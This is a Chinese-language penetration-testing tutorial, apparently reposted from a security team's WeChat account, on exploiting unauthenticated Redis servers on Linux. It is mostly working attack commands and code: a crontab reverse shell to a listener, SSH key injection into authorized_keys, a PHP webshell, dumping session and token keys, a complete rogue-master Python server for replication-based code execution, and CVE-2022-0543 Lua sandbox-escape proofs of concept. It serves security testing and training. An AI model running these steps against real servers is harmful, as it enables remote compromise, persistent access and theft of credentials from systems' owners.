0x01 简单讲两句
Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。
在渗透测试过程中,经常会遇到redis的服务器,本文主要介绍在Linux环境下的redis服务器利用姿势。本文所用利用姿势均在测试环境下进行。
0x02 欲练此功
-
写入crontab计划任务获得shell
-
写入ssh公钥获得shell
-
写入web目录获得webshell
-
查看key中数据获取信息
-
利用主从复制获得shell
-
Redis Lua沙盒绕过命令执行(CVE-2022-0543)
0x03 我来redis只干三件事
使用docker启动测试环境:为了方便演示,这里使用5.x的版本
docker pull redis:5 (拉取redis 5版本镜像)
docker images (查看redis镜像ID)
docker run -p 6379:6379 镜像ID (启动redis服务)
默认情况下是没有密码的,我们可以直接使用客户端来进行连接,这也是在渗透测试中常会遇到的情况。在非未授权访问的情况下,我们可以通过如phpinfo、heapdump等获取到redis的密码进而进行登录连接。
本地客户端连接redis服务器。
redis-cli -h 127.0.0.1 -p 6379
连接成功后输入info即可查看到redis服务器信息。
在使用写入方式时,切记提前记录下来原来的路径和备份文件名,在完成攻击后恢复,避免在写入利用后导致正常环境受影响!!!
使用config get命令来获取原始路径和文件名
config get dir
config get dbfilename
⏩ 通过crontab计划任务获取shell
前置条件:具有计划任务目录的写入权限
首先在vps上面监听开放监听端口
nc -lvp 888
在redis客户端依次输入以下命令写入crontab计划任务
set a "n* * * * * bash -i >& /dev/tcp/172.17.0.1/888 0>&1n"
config set dir /var/spool/cron/
config set dbfilename root
save
保存成功后等待计划任务执行即可获得shell
异常情况:
1、设置目录时提示No such file or directory
目录不存在,可以尝试其他计划任务目录,常见linux计划任务目录有以下几个
/var/spool/cron/
/var/spool/cron/crontabs/
/etc/crod.d/
/etc/cron.hourly/
2、写入成功,无法获取shell
原因1:操作系统为debian系,redis写入会产生多余的垃圾字符,导致无法执行命令。
原因2:服务器上/bin/sh链接地址不是/bin/bash,导致>&符号出错,将其改为dash或sh正确的语法再尝试。
⏩ 通过.ssh文件写入公钥
前置条件:
1、具有.ssh目录的写入权限
2、服务器开放了SSH服务,并且开启了密钥登录
3、知道用户名并且对应用户有过登录
先在本机生成ssh公钥,执行以下命令
ssh-keygen -t rsa
保持默认选项生成即可
连接redis服务器,依次输入以下命令
set x "nnn你的公钥内容nnn"
config set dir /root/.ssh
config set dbfilename authorized_keys
save
保存成功后本地使用私钥成功登录远程服务器
ssh -i id_rsa(私钥文件地址) [email protected]
⏩ 通过web目录写入webshell
前置条件:
1、知道web目录物理路径
2、web目录有写入权限
通过报错信息、phpinfo等信息获取到网站的物理路径,连接redis服务器进行webshell写入,写入方式和前面一样,就不再过多赘述,依次输入以下命令即可成功写入webshell文件
set web "<?php system($_GET['a']);?>"
config set dir /www/html/
config set dbfilename aa.php
save
0x04 让我康康嘛
⏩ 查看key值获取敏感信息
Redis作为缓存数据库,在某些情况下可能会存储一些诸如token、session之类的,我们可以通过查看其中的key来获取身份会话的值,并以此尝试复用来达到登入系统的目的。
使用dbsize命令来查看总的键值数量
使用keys *来查看所有的键名
使用get 键名来获取key里面的数据
0x05 你就从了他吧
⏩ 主从复制RCE
前置条件:
1、redis版本 == 4.x-5.x
这一招杀伤力极大,不到千钧一发之际切记不要使用!一旦用出了这招,方圆十里寸草不生,而自己也会遭到反噬。
128为从机(目标靶机)、133为主机(攻击者)
首先下载模块文件本地编译生成.so文件
下载地址:
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
主机开启恶意master监听,发送恶意so文件,参照以下代码启动server
#网上找的server端代码
#python3运行
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"rn"
class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
print(data)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break
self.finish()
def finish(self):
self.request.close()
class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True
def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload
if __name__=='__main__':
expfile = 'module.so' #更改成实际生成的so文件地址!!!
lport = 6666 #监听端口可以随意修改
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
print("[+] listening ......")
server.handle_request()
print("[+] completed ~~~")
使用redis-cli连接靶机,开启主从复制,依次输入以下命令
config get dir #查看目录位置,做好备份
config get dbfilename #查看文件名,做好备份
config set dbfilename exp.so
SLAVEOF 192.168.169.133 6379 #设置主从
MODULE LOAD /xxx/exp.so #加载命令执行模块,xxx为get dir中得到的路径
system.exec "id" #执行系统命令
在执行主从连接成功时,服务端主机会返回如下信息
由于该操作使用的是全量复制,如果从服务器存在和主服务一样的变量,则其值会被覆盖,同时,如果存在主服务器不存在的变量,则会被删除。
0x06 你是不是玩不起
⏩ CVE-2022-0543 Redis 沙盒逃逸
前置条件:
1、知道package.loadlib的路径
2、Debian 和 Debian系操作系统(如ubuntu)
以混元之力开辟一方小世界,拉取docker环境
docker pull vulhub/redis:5.0.7
启动后连接直接上poc
PoC1:
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0
PoC2:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
0x07 免责声明
本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。
关于我们
“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。
团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。
原文始发于微信公众号(TERRA星环安全团队):【渗透测试】Linux Redis服务器:你不要过来呀!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论